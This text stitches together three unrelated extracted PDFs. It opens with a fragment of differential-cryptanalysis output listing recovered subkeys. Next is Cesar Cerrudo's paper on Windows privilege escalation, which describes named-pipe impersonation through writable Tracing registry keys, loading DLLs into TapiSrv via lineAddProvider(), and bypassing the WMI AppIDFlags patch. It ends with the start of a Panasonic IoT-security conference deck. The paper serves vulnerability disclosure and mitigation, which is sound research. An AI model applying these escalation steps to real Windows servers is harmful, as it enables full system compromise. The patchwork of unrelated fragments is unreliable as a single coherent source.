372fa9d1 Using output differential of 0x02000000 Cracking...found subkey : 0x416e07c9 Time to crack round #2 = 11 seconds
ROUND 1 Generating 8 chosen-plaintext pairs Using input differential of 0x0000000000008080 Undoing last round using
781a83c7 Undoing last round using 372fa9d1 Undoing last round using c1ee07c9 Cracking...found subkeys : 0x073b1706
0x835785f3 0x53c1b983 Time to crack round #1 = 1 seconds 0x073b1706 - Subkey 0 : BAD 0xc1ee07c9 - Subkey 1 : BAD
0x372fa9d1 - Subkey 2 : BAD 0x781a83c7 - Subkey 3 : BAD 0x835785f3 - Subkey 4 : BAD 0x53c1b983 - Subkey 5 : BAD Total
crack time = 1558 seconds FINISHED
0x073b1706 - Subkey 0 : BAD ^ 80800000 = 0x87BB1706 0xc1ee07c9 - Subkey 1 : BAD 0x372fa9d1 - Subkey 2 : BAD
0x781a83c7 - Subkey 3 : BAD 0x835785f3 - Subkey 4 : BAD 0x53c1b983 - Subkey 5 : BAD ks = ['87BB1706', 'c1ee07c9',
'372fa9d1', '781a83c7', '835785f3', '53c1b983'] | pdf |
Token Kidnapping's
Revenge
Author: Cesar Cerrudo
(cesar.at.argeniss.dot.com)
Argeniss – Information Security & Software
Table of contents
Table of contents..................................................................................................................................2
Abstract.................................................................................................................................................3
Introduction..........................................................................................................................................4
Some theory..........................................................................................................................................5
The Tools..............................................................................................................................................6
Finding the vulnerabilities....................................................................................................................6
Bypassing Microsoft fix for Token Kidnapping on Windows 2003 and XP.....................................10
Preventing exploitation.......................................................................................................................13
Conclusion..........................................................................................................................................14
Special Thanks....................................................................................................................................15
About the author.................................................................................................................................16
References..........................................................................................................................................17
About Argeniss...................................................................................................................................18
-2- www.argeniss.com
Argeniss – Information Security & Software
Abstract
This document describes some Microsoft Windows elevation of privilege vulnerabilities, how
they were found with the use of simple tools and how they can be exploited. Starting with a
little security issue that then leads to more significant vulnerabilities finding. All the
vulnerabilities detailed here are not publicly know at the time of this document release.
-3- www.argeniss.com
Argeniss – Information Security & Software
Introduction
Token Kidnapping [1] is the name of a research I did some time ago, it consisted of security
issues and techniques that allowed elevation of privileges on all recent Windows operating
systems. On Windows 2003 and XP it allowed to elevate to Local System account from any
account that had impersonation rights. On Windows Vista and 2008 it allowed to elevate to
Local System account from Network Service and Local Service accounts.
The old Token Kidnapping issues were fixed by Microsoft. This new research, presented in this
document, demonstrates that those Microsoft fixes were not enough and elevation of privileges
is still possible on all Windows versions.
Many people wonder how security research is performed, what tools are used, how is the
process of vulnerability finding, etc. Based on that I tried to make this document as practical
and detailed as possible in order to the reader can learn and easily understand it.
-4- www.argeniss.com
Argeniss – Information Security & Software
Some theory
Before starting we need to understand some theory, people with enough knowledge could skip
this part.
Impersonation
Is the ability of a thread to execute using different security information than the process that
owns the thread. Threads impersonate in order to run code under another user account, all
ACL checks are done against the impersonated users. Impersonation can only be performed by
processes with the following privilege: “Impersonate a client after authentication”
(SeImpersonatePrivilege). When a thread impersonates it has an associated impersonation
token.
Token
An access token is an object that describes the security context of a process or thread. It
includes the identity and privileges of the user account associated with the process or thread.
They can be Primary or Impersonation tokens, Primary ones are those that are assigned to
processes, Impersonation ones are those that can be get when impersonation occurs. There
are four impersonation levels: SecurityAnonymous, SecurityIdentity, SecurityImpersonation,
SecurityDelegation. Impersonation takes place mostly during Inter Process Communication
(IPC) using Local Procedure Call (LPC), Named Pipes, etc. Impersonation can be limited by
clients by setting proper options on the calling APIs.
Windows 2003 and XP services security
Services run under Local System, Network Service, Local Service and regular user accounts. All
services can impersonate. Some Windows services that impersonate privileged accounts are
protected, they are created with “special” permissions, for instance a service running under
Network Service account can't access a protected service running under the same account.
This protection was introduced as a patch to fix the issues detailed in my previous Token
Kidnapping research [1]. Before this patch it was possible to elevate privileges by getting
privileged impersonation tokens from other processes, the patch restricts processes to access
some other processes running under the same account that have privileged impersonation
tokens.
Windows 7, Vista and 2008 R1 & R2 services security
There are lots of security improvements in latest Windows versions, there are new protections
such as:
•
Session 0 isolation: protect against Shatter attacks [5] by running services in a
different session (session 0) than regular user processes.
•
Least privilege: allow to run Windows services with only the minimum required
privileges.
•
Per service SID: each service process has a unique security identification, this allows
service processes to be armored. Service running under “X” account can't access
other service resources no matter the other service is running under the same “X”
account.
•
Write restricted token: services can have write access to resources only if explicitly
granted to the service SID, logon SID, Everyone SID or write-restricted SID.
•
Restricted network access: services can only accept and make connections on
specified ports and protocols. Services can be restricted to have no network access.
-5- www.argeniss.com
Argeniss – Information Security & Software
This is implemented as firewall rules that can't be disabled after service starts.
•
In Windows 7 and 2008 R2, IIS 7.5 worker processes don't run any more under
Network Service account by default as they did on Windows 2008 R1 and Windows
2003. Now they run under a special account named DefaultAppPool. This provides
more protection since web applications can't access processes running under
Network Service account nor their resources. But DefaultAppPool account has the
same privileges as Network Service account, it can impersonate.
The Tools
Let's describe the tools that will be used:
•
Process Explorer (ProcExp): this tool displays information about all Windows processes,
by selecting a process you can see information such as: Process ID, Windows objects
handles opened and their names, user name that the process is running under,
processes and objects DACL, etc.
•
Process Monitor (ProcMon): this tool displays information about registry, file system and
network access by Windows processes.
•
WinDbg: it's a user mode and kernel mode debugger for Windows, part of Debugging
tools for Windows.
•
Registry Editor (Regedit): Windows tool to display and edit Windows registry.
Finding the vulnerabilities
I was waiting for Windows 7 (Win7) RC to take a quick look at it, mostly for finding low
hanging fruit security issues since I didn't have much free time. I wanted to check also if there
were some new issues similar to the ones described in my previous Token Kidnapping research
[1], basically issues that would allow to elevate privileges and to bypass new protections.
After Win7 RC was released I got a copy, installed it and started to take a look at it. I ran
ProcExp and looked at processes checking for DACLs issues on services, processes and on
process objects such as threads, shared sections, mutexes, etc. Everything looked good so far.
After a while I couldn’t find anything interesting by just clicking around in ProcExp. I
remembered I had found some little issue on Windows 2008 R1 (Win2k8) and I thought I
should check if it was still present on Win7.
The issue is that Telephony service (TapiSrv) has a process object handle from some service
that runs under Local System account and the handle has DuplicateHandle privileges on it. This
means that Telephony service process can duplicate any handle from this other process.
Telephony service runs under Network Service account and it could, for instance, duplicate a
Local System impersonation token handle from the other service process and use it to elevate
privileges.
The issue is not important since in order to exploit it you must first exploit some vulnerability
on Telephony service. But it's security issue anyways that can be exploited to bypass new
Windows services protections. So I tested it on Win7 and it was still present there, that was
good news, it meant Win7 wasn't perfect.
I continued looking around a little more at Win7 but couldn't find any low hanging fruit, I
decided to focus on the only issue I had so far. I didn't know any details about the Telephony
service issue, why “sometimes” it had that process handle with those privileges? it was a
mystery for me. I say “sometimes” because in some tests the process handle wasn't there. I
had to research more the issue.
-6- www.argeniss.com
Argeniss – Information Security & Software
I thought about what I knew about Telephony service:
−
It provides functionality for programs that controls telephony devices: modems, VoIP,
etc.
−
It doesn't run by default.
−
Any user can start it by issuing a “net start tapisrv” command.
−
It runs under Network Service account on Win2k8 R1 & R2, Vista and Win7 and it runs
under Local System account in WinXP and Win2k3.
−
It has had some remote and local vulnerabilities in the past.
I needed to know more about inner and outer workings of that service, what files and registry
keys it uses, how it communicates with other processes, what applications use its functionality,
etc. I always start by trying the easiest tests that don’t require much time and effort. I thought
I would start by looking at file and registry interaction.
File Monitor and Registry Monitor tools would help, I checked the web for new versions and I
found ProcMon which was a better tool for the job, you can monitor registry, files and network
access with the same tool. After installing ProcMon I ran it and set a filter to just display
Telephony service process activities. This service runs under a Generic Host Process for Win32
Services (svchost.exe process) together with other services. Using ProcExp I identified the
svchost.exe process hosting Telephony service and got its process ID (PID), then I used this
PID to create a filter in ProcMon to just display all activities related only to that process.
The tool was ready I just needed to find a way to interact with Telephony service to force it to
access files, registry, network, etc. I started by stopping the service running: “net stop tapisrv”
and then started it: “net start tapisrv”, obviously this produced a lot of file and registry access
activity. I got dozens of file and registry access items to analyze, but what I would look for?
The first step was to try to quickly understand what the service was doing, what registry keys
and files it accessed and why. This could be a little difficult if you don't have enough Windows
OS knowledge but with some effort you can quickly get practice and experience.
I didn't understand everything about TapiSrv actions, luckily ignorance makes you asking
some questions and try to answer them in a way that makes some sense.
I saw TapiSrv was accessing HKLM\Software\Microsoft\Tracing\tapisrv registry key, I haven't
seen that registry key before so it got my attention. I ran Regedit and located the key. The
first thing that came to my mind was to check key ACL permissions, there was a surprise
there. Network Service, Local Service and Users accounts had the same permissions and they
included the “Set Value” permission. Clearly there was an issue there since any user could
manipulate values that then are read and used by privileged processes. A little smile was being
drown in my face, I started to think the issue was exploitable and I knew how to exploit it but I
had to confirm it.
I looked at the subkeys under HKLM\Software\Microsoft\Tracing key, they were many, I found
that they had the same or similar names as Windows services which made me think that many
Windows services used that key.
At that time I didn't need to know what those registry keys were used for, it was enough
knowing that they were read and possible written by some Windows services. Later when
researching another vulnerability not mentioned here I found out that those registry keys are
used by a tracing functionality implemented by some services. This functionality logs errors,
debug messages, etc. related to the services. Services using this functionality automatically
monitor the registry key for changes so if there is a change all the key values are automatically
read again by the services.
Let's see now why I though the permissions issue was exploitable and I knew how to exploit it.
If you look at the registry values under “HKLM\Software\Microsoft\Tracing\tapisrv” you will
find out one value named “FileDirectory” that has a default value of “%windir%\tracing”, that
-7- www.argeniss.com
Argeniss – Information Security & Software
value is a Windows folder name that is probably read by services and then used to access files.
I located and opened the folder with Windows Explorer but it was empty. Looking at the items
displayed by ProcMon I saw that there weren't items showing access to that folder. Then with a
new look at the key values I saw “EnableFileTracing” value which had a value of “0”, the value
name looked self describing, I had to change that value to “1” and look if something
happened, I did it but nothing happened at that time.
I thought, let's try restarting the service, I stopped it and suddenly a file named tapisrv.log
was created in “c:\windows\tracing” folder. Looking at ProcMon I could see that TapiSrv was
accessing (writing) that file after reading the folder name from the registry key. I had to be
sure, that the folder value was indeed read from that registry key so I changed “FileDirectory”
value to a new value and then started the service. Finally I was right, TapiSrv tried to access a
folder named as the new registry value I had set.
Those who know about Windows local exploitation should already be familiar on how to exploit
this issue. It's pretty simple but we will need a special privilege in order to exploit this issue,
we will need to be able to impersonate. Impersonation privilege is held by most Windows
services and some regular processes. Some popular accounts that have this privilege by
default are IIS application pool accounts used to run IIS worker processes. These processes
are used to run ASP .NET or classic ASP applications, they are a good target for attacks, if you
can upload web pages then you can compromise the server.
The attack is simple, it consists of using impersonation over named pipes [2]. Any user with
impersonation privileges can build an exploit that will create and listen on a named pipe
waiting for a connection (for TapiSrv the named pipe would be \\.\pipe\x\tapisrv.log). Then set
the “FileDirectory” registry value to the name of the already created named pipe without the
file name and using a UNC path (\\localhost\pipe\x), finally setting the “EnableFileTracing”
value to “1”. After that, the service will read the registry values set by the exploit and connect
to the named pipe allowing the exploit to impersonate the user that the exploited service is
running under. If the impersonated user has more privileges than the user running the exploit
then elevation of privileges is successful.
As detailed before, services using tracing functionality monitor for changes to their associated
registry subkey under “HKLM\Software\Microsoft\Tracing” key, the service process will
immediately read the subkey values after the exploit changes them.
While exploiting TapiSrv to elevate privileges was possible, the exploit would have to do many
steps in order to get a Local System impersonation token to fully compromise the system. I
preferred to find a service that ran under Local System account so the exploit could directly
impersonate this account.
Looking at the names of the subkeys under “HKLM\Software\Microsoft\Tracing” registry key I
found a subkey named IpHlpSvc, this name seemed to reference IP Helper service. Using
ProcExp I looked at the properties of the processes in the “Services” tab until I found the IP
Helper service running under a svchost.exe process. This process was running as Local System
account being the perfect candidate for exploitation.
After doing some tests I could come up with a reliable exploit that works really well and can be
used on different Windows services including IIS 7 & 7.5, SQL Server, etc. running on Win2k8
R1 and R2, Vista and Win7.
I continued researching TapiSrv just in case there were more issues. I found that dialer.exe
tool interacted with TapiSrv, some actions were recorded by ProcMon when running dialer.exe.
TapiSrv was accessing
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony”
registry key, again after a quick look at the permissions I found a new issue, Network Service
account had full control over that key. That was clearly an issue since it broke per process SID
service protection allowing any process running under Network Service account to perform any
actions on that registry key. But an issue is no more than a simple bug if you can't exploit it.
Looking
at
the
subkeys
I
found
an
interesting
one,
-8- www.argeniss.com
Argeniss – Information Security & Software
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\Providers” and under this
subkey some interesting values named “ProviderFileNameX” (where the “X” was a number
starting at 0) that looked as file names.
I looked at ProcMon and I saw that after Tapisrv read these subkey values it loaded files with
those names as Windows DLLs, this was really interesting, the issue just went from simple bug
to a vulnerability.
Since the key allowed any process running under Network Service account to perform any
action, it was possible to set one of these registry values to an arbitrary DLL to be loaded by
TapiSrv in order to run arbitrary code. TapiSrv runs under Network Service account but in case
you don't remember, it had a process handle with DuplicateHandle privileges of a process
running as Local System account. Once you get an arbitrary DLL inside TapiSrv process, the
DLL code can get that handle and duplicate a Local System impersonation token handle from
the privileged process and fully compromise the system.
I started to think how to build an exploit for that vulnerability. It wasn't straight forward this
time since it was needed to introduce a DLL in the system, then change the registry values and
finally trigger the functionality that will load the DLL.
I went to MSDN to check for TAPI APIs because I needed to find a way to interact with TapiSrv
to get an arbitrary DLL loaded. I remembered that TapiSrv read the registry values and loaded
the DLLs when dialer.exe was ran, probably dialer.exe was calling some TAPI APIs. Looking at
MSDN an API got my attention, lineAddProvider(), the first parameter was named
lpszProviderFilename. The parameter name looked familiar and it was similar to the subkey
values name, I really had to try that API.
ProcMon was still monitoring Tapisrv, I built a simple program that called the API and ran it. I
could see in ProcMon that Tapisrv was trying to access a file named the same as the first API
parameter I used in the API call, that was amazing. Building an exploit for this issue was pretty
simple, just creating a DLL that when loaded it will duplicate a Local System impersonation
token handle obtained from the privileged process that TapiSrv had its handle.
When testing lineAddProvider() API, first I ran the test program as a low privileged user and it
didn't work, it would have been nice if it had worked but it didn't. Then I ran it as an
administrator and it worked, but I needed to try to run it under Network Service account. I
tried that and it worked which made sense since that account could modify the registry key
were the DLL information was saved. But then I tried to run it under Local Service account and
it worked too, that was excellent, that meant it was possible to elevate privileges from any
process running under Local Service account too. There was still something more I had to try,
the same tests on Win2k3.
I checked for the issue in Win2k3 but the registry key had proper permissions, not Network
Service access since Tapisrv runs as Local System on Win2k3. But on WinXP there was an
issue, Network Service and Local Service accounts had full control on the registry key, any
process running under those accounts could easily elevates privileges since TapiSrv runs as
Local System in WinXP.
When testing lineAddProvider() on Win2k3, I got exactly the same results as in Win7.
Exploitation was easier on Win2k3 since TapiSrv runs under Local System. Just calling
lineAddProvider() passing a DLL and the DLL will be loaded and ran under Local System
account by TapiSrv. Finally in WinXP I got the same results as in Win2k3.
It's worth to mention that I also ran tests on Win2k8 R1 & R2 with same results as Win7,
which makes sense since Win2k8 R2 has the same technology as Win7 and it was based on
Win2k8 R1, these operating systems are similar.
When I was running dialer.exe I noticed on ProcExp that Tapisrv process got a dialer.exe
process handle with DuplicateHandle privileges and the same happened when running my test
program that called lineAddProvider(). I realized that Tapisrv always got a process handle from
the processes that interacted with it, calling the APIs, etc.
-9- www.argeniss.com
Argeniss – Information Security & Software
Since in order to be able to elevate privileges on Windows Vista and newer versions it’s needed
the privileged process handle inside Tapisrv process I started to look for the service name from
which TapiSrv got the privileged process handle. I knew the process was on one of the
svchost.exe processes running as Local System account but that process had running many
services inside. I had to find the right service that interacted with Tapisrv. I searched for the
svchost.exe process with ProcExp which I could easily identify it since I got the process id from
the information displayed by ProcExp about the process handle inside Tapisrv process.
In the “Services” tab in the svchost.exe process properties a lot of services were displayed.
There were two options for finding the right service, stopping the services one by one until the
process handle would disappear from TapiSrv or try to guess which service could be the one
based on the name, intuition, etc. Looking at the services names there was one called Remote
Access Connection Manager (RasMan), let’s see: remote, connection, access? That should ring
some bells. This could be the one I’m looking for, I thought, so I stopped it and the
svchost.exe process handle disappeared from TapiSrv process, it was the one.
I checked RasMan service details with Windows Services tool (Administrative Tools->Services),
I saw that it has dependencies with Telephony service (TapiSrv) and that the service startup
type was manual. This last option was the cause that sometimes the svchost.exe process
handle wasn't present in TapiSrv in some of my tests. If RasMas was not started then TapiSrv
didn't have the process handle. Luckily any user can start RasMan service if it isn’t running,
allowing elevation of privileges to be always successful since we can force the process handle
of RasMan to be always present inside TapiSrv.
By just looking at Telephony service I had found so far:
1−
Win2k8 R1 & R2, Win7 and Vista Elevation of privileges by any user with impersonation
rights by exploiting weak permissions on Service Tracing functionality registry keys.
2−
Win2k3, WinXP, Win2k8 R1 & R2, Win7 and Vista Elevation of privileges by Network and
Local Service accounts by calling lineAddProvider() API.
These issues can be exploited on Windows services such as IIS 6, 7 & 7.5 and SQL Server. On
IIS an attacker only needs to upload a .NET web page with exploit code and then run it to
complete compromise the server. On SQL Server an attacker will need database administrative
permissions and run the exploit by executing xp_cmdshell or sp_addextendedproc stored
procedures allowing the attacker to elevate privileges and run code under Local System
account.
It's important to note that these issues can also be used on post exploitation scenarios, where
an attacker is exploiting a Windows service that has impersonation privileges but it's not
running under Local System account. In this case exploitation is limited since attacker will be
trapped in that service not being able to access other processes, resources, etc. due to new
Windows protections. Abusing the issues detailed in this paper will allow the attacker to
elevate privileges and run code under Local System account bypassing all the new Windows
protections.
*See Chimichurri exploit available with this paper.
Bypassing Microsoft fix for Token Kidnapping on Windows 2003 and XP
On my previous Token Kidnapping research I had found how to get a Local System
impersonation token from WMI processes running under Network or Local Service accounts.
These WMI processes didn’t have any protection in place to prevent other processes running
under the same accounts to access them. This allowed any process running under Network or
Local Service accounts to get a Local System impersonation token and elevate privileges.
Microsoft fixed this issue by properly protecting WMI processes don’t allowing other process
running under the same account to access them.
-10- www.argeniss.com
Argeniss – Information Security & Software
While researching the TapiSrv issues with ProcMon on Win2k3 I noticed some strange
behavior. There were some processes accessing or trying to access the same subkeys and
values under HKEY_CLASSES_ROOT and HKEY_USERS\<UserSID>_Classes registry keys,
getting sometimes “NAME NOT FOUND” when trying to access subkyes and values under this
last key. These subkeys and values were always found under HKEY_CLASSES_ROOT key but
not always under HKEY_USERS\<UserSID>_Classes key. I though that this behavior was
because sometimes an application can be installed for only one user and not for all users, if
this was the case then the information would be on HKEY_USERS\<UserSID>_Classes key
and not on HKEY_CLASSES_ROOT key. But that was just a guess.
I knew that HKEY_CLASSES_ROOT key is mostly used to save information about
OLE/COM/DCOM/ActiveX objects, processes read from that key information needed to
instantiate objects. I looked at the available HKEY_USERS\<UserSID>_Classes keys and I
found that the keys for Network and Local Service accounts, HKEY_USERS\S-1-5-20_Classes
and HKEY_USERS\S-1-5-19_Classes respectively, didn’t have any subkeys nor values. This
was weird.
One of the process that tried to read values from those registry keys, was svchost.exe running
DCOM Server Process Launcher service (DcomLaunch), this process runs under Local System
account. I identified that before a WMI process was ran by DcomLaunch service, this service
tried to read those registry keys. I saw a possible issue there since HKEY_CLASSES_ROOT key
can only be modified by highly privileged accounts such Administrators and Local System, but
HKEY_USERS\<UserSID>_Classes key can also be modified by the account to which the key
belongs to. It’s worth to mention that HKEY_USERS\S-1-5-20_Classes and HKEY_USERS\S-1-
5-19_Classes can be modified by Network and Local Service accounts respectively. These less
privileged accounts, Network and Local Service, can modify values that then could be read
from a high privileged process, in this case DcomLaunch. If DcomLaunch use those values read
from the mentioned registry keys to perform some actions then that could lead to privilege
elevation, so there was a possible issue.
I thought that in order to confirm and exploit this possible issue I would have to create the
same subkeys and values that were read from HKEY_CLASSES_ROOT key under
HKEY_USERS\S-1-5-20_Classes key or HKEY_USERS\S-1-5-19_Classes key, depending which
of them was being read by DcomLaunch process. Then if these values were used instead of the
ones read from HKEY_CLASSES_ROOT key I could be able to confirm the issue and exploit it. I
had a test program that launched a WMI process under Network Service account so I started
to run tests creating subkeys and values under HKEY_USERS\S-1-5-20_Classes key.
I researched what values were read by DcomLaunch from HKEY_CLASSES_ROOT key and what
those values were used for. I found that one of the values read was the default value under
HKEY_CLASSES_ROOT\CLSID\{1F87137D-0E7C-44d5-8C73-4EFFB68962F2}\LocalServer32
subkey, which was “%systemroot%\system32\wbem\wmiprvse.exe –secured”. wmiprvse.exe
is the WMI executable file name, I supposed that this value was used to determine what to run
when WMI was invoked. I thought if I remove the –secured argument then maybe WMI
process won’t be ran protected and I will be able to exploit it again as I did in my previous
Token Kidnapping research. I created HKEY_USERS\S-1-5-20_Classes\CLSID\{1F87137D-
0E7C-44d5-8C73-4EFFB68962F2}\LocalServer32 subkey and set the default value removing “-
secured” argument. ProcMon showed that the new created value was read by DcomLaunch but
no luck, after removing that argument the WMI process was also ran protected.
Another value that was accessed was AppIDFlags under HKEY_CLASSES_ROOT\AppID\
{1F87137D-0E7C-44d5-8C73-4EFFB68962F2} subkey, the value was 0x2. I wondered what
that value could be used for, searching on MSDN I found some information [3]. 0x2 value is
used to secure COM servers, this started to look interesting. I though let’s set this value to 0x0
to see what happens. I created AppIDFlags value under HKEY_USERS\S-1-5-20_Classes\
AppID\{1F87137D-0E7C-44d5-8C73-4EFFB68962F2} subkey and set it to 0x0.
After setting the value to 0x0 I ran some tests and my initial thoughts were confirmed, it was
an issue, I could ran the WMI process unprotected and exploit it as before the Microsoft patch.
-11- www.argeniss.com
Argeniss – Information Security & Software
Finally I realized that adding AppIDFlags value and setting it to 0x2 was the fix Microsoft
introduced to patch the old issue on WMI processes [4] and that the new protection could be
bypassed by exploiting this new issue.
The described issue only affects Windows 2003 and XP since HKEY_USERS\S-1-5-20_Classes
and HKEY_USERS\S-1-5-19_Classes keys don’t exist anymore on newer Windows versions.
*See Churraskito exploit available with this paper.
Finding more issues
While I was researching the already described issues, I saw and realized about some
interesting things.
There is clearly a design mistake sharing HKEY_USERS\S-1-5-20 and HKEY_USERS\S-1-5-19
keys between all the processes that run under Network and Local Service accounts. Those
registry keys have full control permissions for Network and Local Service accounts
respectively, allowing any process running under those accounts to modify those registry keys
values at will.
For instance a process “X” running under Network Service account can modify some file path
value with a named pipe while listen on it. Then the process “X” can get an impersonation
token when another process “Y” running under Network Service account reads that registry
value and then tries to access the named pipe.
This completely breaks almost all new services protections. It allows access from process “X”
to process “Y” if both run under the same account because once process “X” gets the
impersonation token it can be used to access process “Y”.
I also found a couple of minor issues related to high privileged process not dropping privileges
before trying to access files. HKEY_USERS\UserSID registry key has full control permissions for
the user to which the key belongs to, meaning that the user can set arbitrary registry values.
Consent.exe (Consent UI for administrative applications) is the program that shows the dialog
window when you choose to run a program as Administrator in newer Windows versions. This
program
runs
under
Local
System
account
and
it
reads
HKEY_USERS\UserSID\AppEvents\Schemes\Apps\.Default\WindowsUAC registry key values.
These values consist of .WAV file paths that the program uses for playing the sound specified
by the user for UAC events. Consent.exe doesn’t drop privileges when accessing the .wav file
allowing any user with impersonation privileges to impersonate Local System account by using
the already described named pipe trick.
Windows Defender service has a similar problem as Consent.exe. Windows Defender process
reads HKEY_USERS\UserSID\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell
Folder key to get information about different user related folders such as Documents and
Internet related folders. Windows Defender service runs under Local System account and it
also doesn’t drop privileges allowing any user with impersonation privileges to impersonate
Local System account by using the already described named pipe trick.
-12- www.argeniss.com
Argeniss – Information Security & Software
Preventing exploitation
You must avoid running processes under Network Service and Local Service account when
possible, try running them as a regular user with the required privileges. Examples of
processes that commonly run under those accounts and are exposed to attacks are IIS worker
processes and SQL Server service process.
On IIS don't run ASP .NET web application in full trust, this won't allow web applications to
impersonate.
On Windows 7, Vista and 2008 R1 & R2 remove Users group from
HKLM\Software\Microsoft\Tracing registry key permissions. This will only prevent exploitation
from regular users with impersonation privileges but won't protect against elevation of
privileges from Network and Local Service accounts. If you already configured IIS worker
processes and SQL Server service process to run under regular user accounts then you will be
safer.
You must disable Telephony service (TapiSrv) if not used, this will prevent elevation of
privileges by loading an arbitrary Dll using lineAddProvider() API on all Windows versions or
by editing HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\Providers registry
key on Windows 7, Vista, 2008 R1 & R2.
-13- www.argeniss.com
Argeniss – Information Security & Software
Conclusion
Little and insignificant issues can lead to find more interesting issues. While Windows operating
systems are becoming the most secure operating systems on earth there are still some issues
that need attention.
It's possible to elevate privileges on all Microsoft Windows versions, the only requirement is to
be able to impersonate by the user running the exploit.
On Windows Vista, Windows 2008 R1 & R2 and Windows 7 any user having impersonation
privileges can elevate privileges and completely compromise the systems bypassing almost all
new Windows protections. On Windows XP and Windows 2003, Network and Local Service
accounts can elevate privileges and completely compromise the systems.
Some of the applications that are more susceptible to be exploited are Microsoft Internet
Information Services 6, 7 & 7.5 and Microsoft SQL Server.
-14- www.argeniss.com
Argeniss – Information Security & Software
Special Thanks
To Mark Russinovich author of Process Explorer and other great Sysinternals tools, without his
great tools I wouldn't have been able to find most of the vulnerabilities I have found on
Windows and other software.
-15- www.argeniss.com
Argeniss – Information Security & Software
About the author
Cesar Cerrudo is the founder and CEO of Argeniss, a security consultancy and software firm
based in Argentina. He is a security researcher and consultant specializing in application
security. Regarded as a leading application security researcher, Cesar is credited with
discovering and helping to eliminate dozens of vulnerabilities in leading applications including
Microsoft SQL Server, Oracle Database Server, IBM DB2, Microsoft BizTalk Server, Microsoft
Commerce Server, Microsoft Windows, Yahoo! Messenger, etc.
Cesar has authored several white papers on database, application security, attacks and
exploitation techniques and he has been invited to present at a variety of companies and
conferences including Microsoft, Black Hat, Bellua, CanSecWest, EuSecWest, WebSec, HITB,
EkoParty, H2HC, FRHACK, Microsoft BlueHat, etc. Cesar collaborates with and is regularly
quoted in print and online publications such as eWeek, ComputerWorld and other leading
journals.
-16- www.argeniss.com
Argeniss – Information Security & Software
References
[1] Token Kidnapping
http://www.argeniss.com/research/TokenKidnapping.pdf
[2] Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit
http://www.blakewatts.com/namedpipepaper.html
[3] AppIDFlags
http://msdn.microsoft.com/en-us/library/bb427411(VS.85).aspx
[4] Vulnerabilities in Windows Could Allow Elevation of Privilege
http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx
[5] Exploiting design flaws in the Win32 API for privilege escalation
http://web.archive.org/web/20060904080018/http://security.tombom.co.uk/shatter.html
-17- www.argeniss.com
Argeniss – Information Security & Software
About Argeniss
Argeniss is a small but very dynamic and creative company created in 2005. Argeniss offers
information security consulting and software development services in an outsourcing model.
More than 5 years of experience and satisfied customers prove Argeniss success.
Contact us
Velez Sarsfield 736 PA
Parana, Entre Rios
Argentina
E-mail: info.at.argeniss.dot.com
Tel/Fax: +54 343 4316113
-18- www.argeniss.com | pdf |
First step in the quest for manufacturing
cyber-resilient IoT devices
Panasonic Corporation
Jun Sato
Chih-Hsiang
HITCON 2020@TAIPEI
About me
・佐藤 淳
・Jun Sato
・Past experience in system development and operation
・Joined Panasonic in 2019 and involved in IoT security
・CISSP, GCFA
Background
サイバーセキュリティ戦略本部
サイバーセキュリティ2019
(別添5
サイバーセキュリティ関連データ集
NICTER観測結果より)
https://www.nisc.go.jp/active/kihon/pdf/cs2019.pdf
Number of Attacks Observed by NICTER Darknet Sensors
Breakdown of Observed Attacks by NICTER Darknet Sensors (2018)
Number of cyber attacks continue to increase
About half of observed attacks targeting IoT devices
No. Packets (ten billion)
Other
Attacks targeting IoT devices
(Web Camera, Routers, etc.)
Cybersecurity Research Institute - Cyber Security 2019
Appending 5 - Cyber Security Related Data - NICTER Observation
Results
Increasing attacks targeting IoT
Sudden Increase in IoT Malware
“New trends in the world of IoT threats”, Kaspersky Lab, September 18, 2018
https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/
The number of IoT malware has more than
tripled from 2017 in just the first half of 2018
https://www.securityweek.com/hide-%E2%80%98n-seek-botnet-targets-smart-homes
https://www.ithome.com.tw/news/132271
https://arstechnica.com/information-technology/2018/05/hackers-infect-500000-
consumer-routers-all-over-the-world-with-malware/?amp=1
https://www.securityweek.com/over-500000-iot-devices-vulnerable-mirai-botnet
https://www.ithome.com.tw/news/123708
https://www.ithome.com.tw/news/129449
Number of IoT malware
infections rising rapidly,
with no end in sight
IoT Malware Wreaking Havoc
Infect
Spread
Cyber Attacks
Infect, Spread and leverage for use in attacks
Victims unknowingly become attackers
IoT Malware Infections and Associated Damages
Regulations by Government
・2019 Order of the Ministry of Internal Affairs and Communications No. 12
・Partial revision to “Telecommunications Business Act” and “Act on
the National Institute of Information and Communications Technology,
Independent Administrative Agency”
・2017 Notification of the Ministry of Economy, Trade and Industry No. 19
・Oregon HB 2395 amending ORS 646.607
・Cyber Shield Act of 2019 (S. 2664)
・SB-327 Information Privacy: Connected Devices
・IoT Cybersecurity Improvement Act of 2019
・Executive Order on Securing the Information and Communications Technology
and Services Supply Chain (Executive Order 13873)
・EU Sales of Goods Directive (SGD)
・EU Digital Content Directive (DCD)
・UK legislation for consumer IoT devices by design
・Germany IT security law 2.0
・Finland Cybersecurity Label
・Cybersecurity Law of the People's Republic of China
- 中华人民共和国网络安全法
・Public Comments on the Provisions on the Administration of
Cybersecurity Vulnerabilities
- 网络安全漏洞管理规定 (征求意见稿)
・Data Security Law of the People’s Republic of China
- 中华人民共和国数据安全法
United States
Europe
People's Republic of China
Japan
New laws being enacted globally
govern IoT security
Users
Retail
Security
Organizations /
Researchers
Governments
Parts Supplier
Security for shipped products
Product updates after shipment
Procurement of secure parts /
components
(Chips, software, etc.)
Discovery of vulnerabilities
Development / selling security
products
Alerts to users
Guidance to Manufacturers
Proper explanation and initial
configuration of products
Proper configuration and usage of
products
Manufac
turer
Expectations for "Manufacturers to ensure product security"
Existing Panasonic Activities on Product Security
As A Corporate Risk
https://www.panasonic.com/global/corporate/sustainability/management/riskmanagement.html
https://www.panasonic.com/global/corporate/sustainability/pdf/sdb2019e.pdf
Cyberattacks are a major corporate risk in Panasonic
1
2
Essential knowledge (Awareness / Technical)
Minimize
Risk
Incident
Response
Product Security
Supporting Panasonic Brand
Threat Analysis
Secure Design
Secure Coding
Static Analysis
Vulnerability
Testing
(Security Testing)
Incident
Response
Minimize Risk
Incident
Containment
Plan
Shipment
Discard
Design
Implement
Test
In-Use
Product Lifecycle
Panasonic Product Security Activities
Cyber Security in Panasonic
IT Security
Information System
